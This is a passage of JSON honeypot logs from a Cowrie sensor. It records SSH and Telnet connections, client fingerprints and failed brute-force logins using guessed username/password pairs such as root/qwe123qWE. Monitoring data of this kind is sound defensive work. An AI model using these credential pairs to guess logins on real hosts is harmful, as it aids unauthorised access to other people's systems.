19-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:07:19.671711Z","src_ip":"43.160.206.186","session":"2b7df55144c0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"64.112.192.18","src_port":58434,"dst_ip":"10.17.0.5","dst_port":23,"session":"4d638bd817ab","protocol":"telnet","message":"New connection: 64.112.192.18:58434 (10.17.0.5:23) [session: 4d638bd817ab]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:07:20.286699Z"}
{"eventid":"cowrie.login.failed","username":"root","password":"qwe123qWE","message":"login attempt [root/qwe123qWE] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:07:20.682613Z","src_ip":"43.160.206.186","session":"2b7df55144c0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:07:21.932178Z","src_ip":"43.160.206.186","session":"2b7df55144c0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":55782,"dst_ip":"159.203.135.109","dst_port":22,"session":"94c6aabc6750","protocol":"ssh","message":"New connection: 159.203.92.129:55782 (159.203.135.109:22) [session: 94c6aabc6750]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:07:22.132883Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:07:22.137725Z","src_ip":"159.203.92.129","session":"94c6aabc6750","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:07:22.142109Z","src_ip":"159.203.92.129","session":"94c6aabc6750","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"abcd","password":"123456","message":"login attempt [abcd/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:07:22.159088Z","src_ip":"159.203.92.129","session":"94c6aabc6750","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:07:23.165657Z","src_ip":"159.203.92.129","session":"94c6aabc6750","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.879162311553955,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:07:24.032803Z","src_ip":"162.252.82.70","session":"153ca384fb2a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.96615481376648,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:07:25.049350Z","src_ip":"209.145.49.9","session":"ff1e4279865e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.252.82.70","src_port":52146,"dst_ip":"10.17.0.5","dst_port":23,"session":"3f1ea7a9cb90","protocol":"telnet","message":"New connection: 162.252.82.70:52146 (10.17.0.5:23) [session: 3f1ea7a9cb90]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:07:26.173051Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.252.82.70","src_port":33474,"dst_ip":"10.17.0.5","dst_port":23,"session":"b629bb5e4bb5","protocol":"telnet","message":"New connection: 162.252.82.70:33474 (10.17.0.5:23) [session: b629bb5e4bb5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:07:31.018881Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.252.82.70","src_port":33490,"dst_ip":"10.17.0.5","dst_port":23,"session":"07f34b721b19","protocol":"telnet","message":"New connection: 162.252.82.70:33490 (10.17.0.5:23) [session: 07f34b721b19]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:07:34.151752Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.252.82.70","src_port":55754,"dst_ip":"10.17.0.5","dst_port":23,"session":"a3512513ef39","protocol":"telnet","message":"New connection: 162.252.82.70:55754 (10.17.0.5:23) [session: a3512513ef39]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:07:45.311791Z"}
{"eventid":"cowrie.session.connect","src_ip":"64.112.192.18","src_port":34646,"dst_ip":"10.17.0.5","dst_port":23,"session":"d44df8fee401","protocol":"telnet","message":"New connection: 64.112.192.18:34646 (10.17.0.5:23) [session: d44df8fee401]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:07:47.277758Z"}
{"eventid":"cowrie.session.connect","src_ip":"209.145.49.9","src_port":37850,"dst_ip":"10.17.0.5","dst_port":23,"session":"3e364acfb7d9","protocol":"telnet","message":"New connection: 209.145.49.9:37850 (10.17.0.5:23) [session: 3e364acfb7d9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:07:48.130810Z"}
{"eventid":"cowrie.session.closed","duration":30.93353009223938,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:07:51.220099Z","src_ip":"64.112.192.18","session":"4d638bd817ab","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.89585041999817,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:07:57.068811Z","src_ip":"162.252.82.70","session":"3f1ea7a9cb90","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"209.145.49.9","src_port":39572,"dst_ip":"10.17.0.5","dst_port":23,"session":"4aef0dbaf97a","protocol":"telnet","message":"New connection: 209.145.49.9:39572 (10.17.0.5:23) [session: 4aef0dbaf97a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:07:58.135099Z"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.122.238","src_port":39276,"dst_ip":"159.203.135.109","dst_port":22,"session":"a62a469d80ca","protocol":"ssh","message":"New connection: 2.57.122.238:39276 (159.203.135.109:22) [session: a62a469d80ca]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:07:59.072186Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:07:59.077445Z","src_ip":"2.57.122.238","session":"a62a469d80ca","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"162.252.82.70","src_port":53736,"dst_ip":"10.17.0.5","dst_port":23,"session":"65e7f95fe92b","protocol":"telnet","message":"New connection: 162.252.82.70:53736 (10.17.0.5:23) [session: 65e7f95fe92b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:07:59.150068Z"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:07:59.179051Z","src_ip":"2.57.122.238","session":"a62a469d80ca","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"solv","password":"1234","message":"login attempt [solv/1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:07:59.482273Z","src_ip":"2.57.122.238","session":"a62a469d80ca","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:08:00.586427Z","src_ip":"2.57.122.238","session":"a62a469d80ca","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.02229881286621,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:08:02.041070Z","src_ip":"162.252.82.70","session":"b629bb5e4bb5","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.252.82.70","src_port":39780,"dst_ip":"10.17.0.5","dst_port":23,"session":"765d694802f0","protocol":"telnet","message":"New connection: 162.252.82.70:39780 (10.17.0.5:23) [session: 765d694802f0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:08:04.124361Z"}
{"eventid":"cowrie.session.closed","duration":30.870320558547974,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:08:05.021960Z","src_ip":"162.252.82.70","session":"07f34b721b19","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":57346,"dst_ip":"159.203.135.109","dst_port":22,"session":"c089c7b7d3a7","protocol":"ssh","message":"New connection: 159.203.92.129:57346 (159.203.135.109:22) [session: c089c7b7d3a7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:08:06.845016Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:08:06.856210Z","src_ip":"159.203.92.129","session":"c089c7b7d3a7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:08:06.862140Z","src_ip":"159.203.92.129","session":"c089c7b7d3a7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"abcd","password":"abcd","message":"login attempt [abcd/abcd] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:08:06.876922Z","src_ip":"159.203.92.129","session":"c089c7b7d3a7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:08:07.884768Z","src_ip":"159.203.92.129","session":"c089c7b7d3a7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"144.79.133.145","src_port":46374,"dst_ip":"10.17.0.5","dst_port":23,"session":"0cbece64bcb0","protocol":"telnet","message":"New connection: 144.79.133.145:46374 (10.17.0.5:23) [session: 0cbece64bcb0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:08:08.723104Z"}
{"eventid":"cowrie.session.closed","duration":30.744720697402954,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:08:16.056386Z","src_ip":"162.252.82.70","session":"a3512513ef39","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"43.160.206.186","src_port":37220,"dst_ip":"159.203.135.109","dst_port":22,"session":"be0218738a51","protocol":"ssh","message":"New connection: 43.160.206.186:37220 (159.203.135.109:22) [session: be0218738a51]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:08:18.171614Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:08:18.186535Z","src_ip":"43.160.206.186","session":"be0218738a51","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.950661420822144,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:08:18.228292Z","src_ip":"64.112.192.18","session":"d44df8fee401","protocol":"telnet"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:08:18.433073Z","src_ip":"43.160.206.186","session":"be0218738a51","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.90635633468628,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:08:19.037038Z","src_ip":"209.145.49.9","session":"3e364acfb7d9","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"root","password":"Lx123456@","message":"login attempt [root/Lx123456@] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:08:19.446895Z","src_ip":"43.160.206.186","session":"be0218738a51","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:08:20.698064Z","src_ip":"43.160.206.186","session":"be0218738a51","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"144.79.133.145","src_port":45904,"dst_ip":"10.17.0.5","dst_port":23,"session":"8850c53c97b4","protocol":"telnet","message":"New connection: 144.79.133.145:45904 (10.17.0.5:23) [session: 8850c53c97b4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:08:21.746758Z"}
{"eventid":"cowrie.session.connect","src_ip":"144.126.156.251","src_port":34352,"dst_ip":"10.17.0.5","dst_port":23,"session":"943184973943","protocol":"telnet","message":"New connection: 144.126.156.251:34352 (10.17.0.5:23) [session: 943184973943]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:08:23.112323Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.252.82.70","src_port":41048,"dst_ip":"10.17.0.5","dst_port":23,"session":"4fc0bee8ea03","protocol":"telnet","message":"New connection: 162.252.82.70:41048 (10.17.0.5:23) [session: 4fc0bee8ea03]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:08:24.004275Z"}
{"eventid":"cowrie.session.connect","src_ip":"114.142.160.98","src_port":36354,"dst_ip":"10.17.0.5","dst_port":23,"session":"7dec0d465d5d","protocol":"telnet","message":"New connection: 114.142.160.98:36354 (10.17.0.5:23) [session: 7dec0d465d5d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:08:24.581050Z"}
{"eventid":"cowrie.session.connect","src_ip":"74.115.209.253","src_port":45350,"dst_ip":"10.17.0.5","dst_port":23,"session":"6afe86f3910c","protocol":"telnet","message":"New connection: 74.115.209.253:45350 (10.17.0.5:23) [session: 6afe86f3910c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:08:28.181184Z"}
{"eventid":"cowrie.session.closed","duration":30.898926258087158,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:08:29.033897Z","src_ip":"209.145.49.9","session":"4aef0dbaf97a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.902540683746338,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:08:30.052625Z","src_ip":"162.252.82.70","session":"65e7f95fe92b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"64.112.192.18","src_port":42014,"dst_ip":"10.17.0.5","dst_port":23,"session":"4466a0deaef3","protocol":"telnet","message":"New connection: 64.112.192.18:42014 (10.17.0.5:23) [session: 4466a0deaef3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:08:30.371175Z"}
{"eventid":"cowrie.session.connect","src_ip":"114.142.160.98","src_port":42624,"dst_ip":"10.17.0.5","dst_port":23,"session":"d44c377c80d3","protocol":"telnet","message":"New connection: 114.142.160.98:42624 (10.17.0.5:23) [session: d44c377c80d3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:08:32.518712Z"}
{"eventid":"cowrie.session.connect","src_ip":"198.50.106.251","src_port":58222,"dst_ip":"10.17.0.5","dst_port":23,"session":"64098fb7539e","protocol":"telnet","message":"New connection: 198.50.106.251:58222 (10.17.0.5:23) [session: 64098fb7539e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:08:32.856356Z"}
{"eventid":"cowrie.session.connect","src_ip":"114.142.160.98","src_port":42628,"dst_ip":"10.17.0.5","dst_port":23,"session":"65528eaaa081","protocol":"telnet","message":"New connection: 114.142.160.98:42628 (10.17.0.5:23) [session: 65528eaaa081]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:08:33.342422Z"}
{"eventid":"cowrie.session.connect","src_ip":"41.76.108.14","src_port":50404,"dst_ip":"10.17.0.5","dst_port":23,"session":"3ca8c15c7927","protocol":"telnet","message":"New connection: 41.76.108.14:50404 (10.17.0.5:23) [session: 3ca8c15c7927]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:08:34.585481Z"}
{"eventid":"cowrie.session.closed","duration":30.91011667251587,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:08:35.034315Z","src_ip":"162.252.82.70","session":"765d694802f0","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"198.50.106.251","src_port":59124,"dst_ip":"10.17.0.5","dst_port":23,"session":"b1b39427442e","protocol":"telnet","message":"New connection: 198.50.106.251:59124 (10.17.0.5:23) [session: b1b39427442e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:08:38.801158Z"}
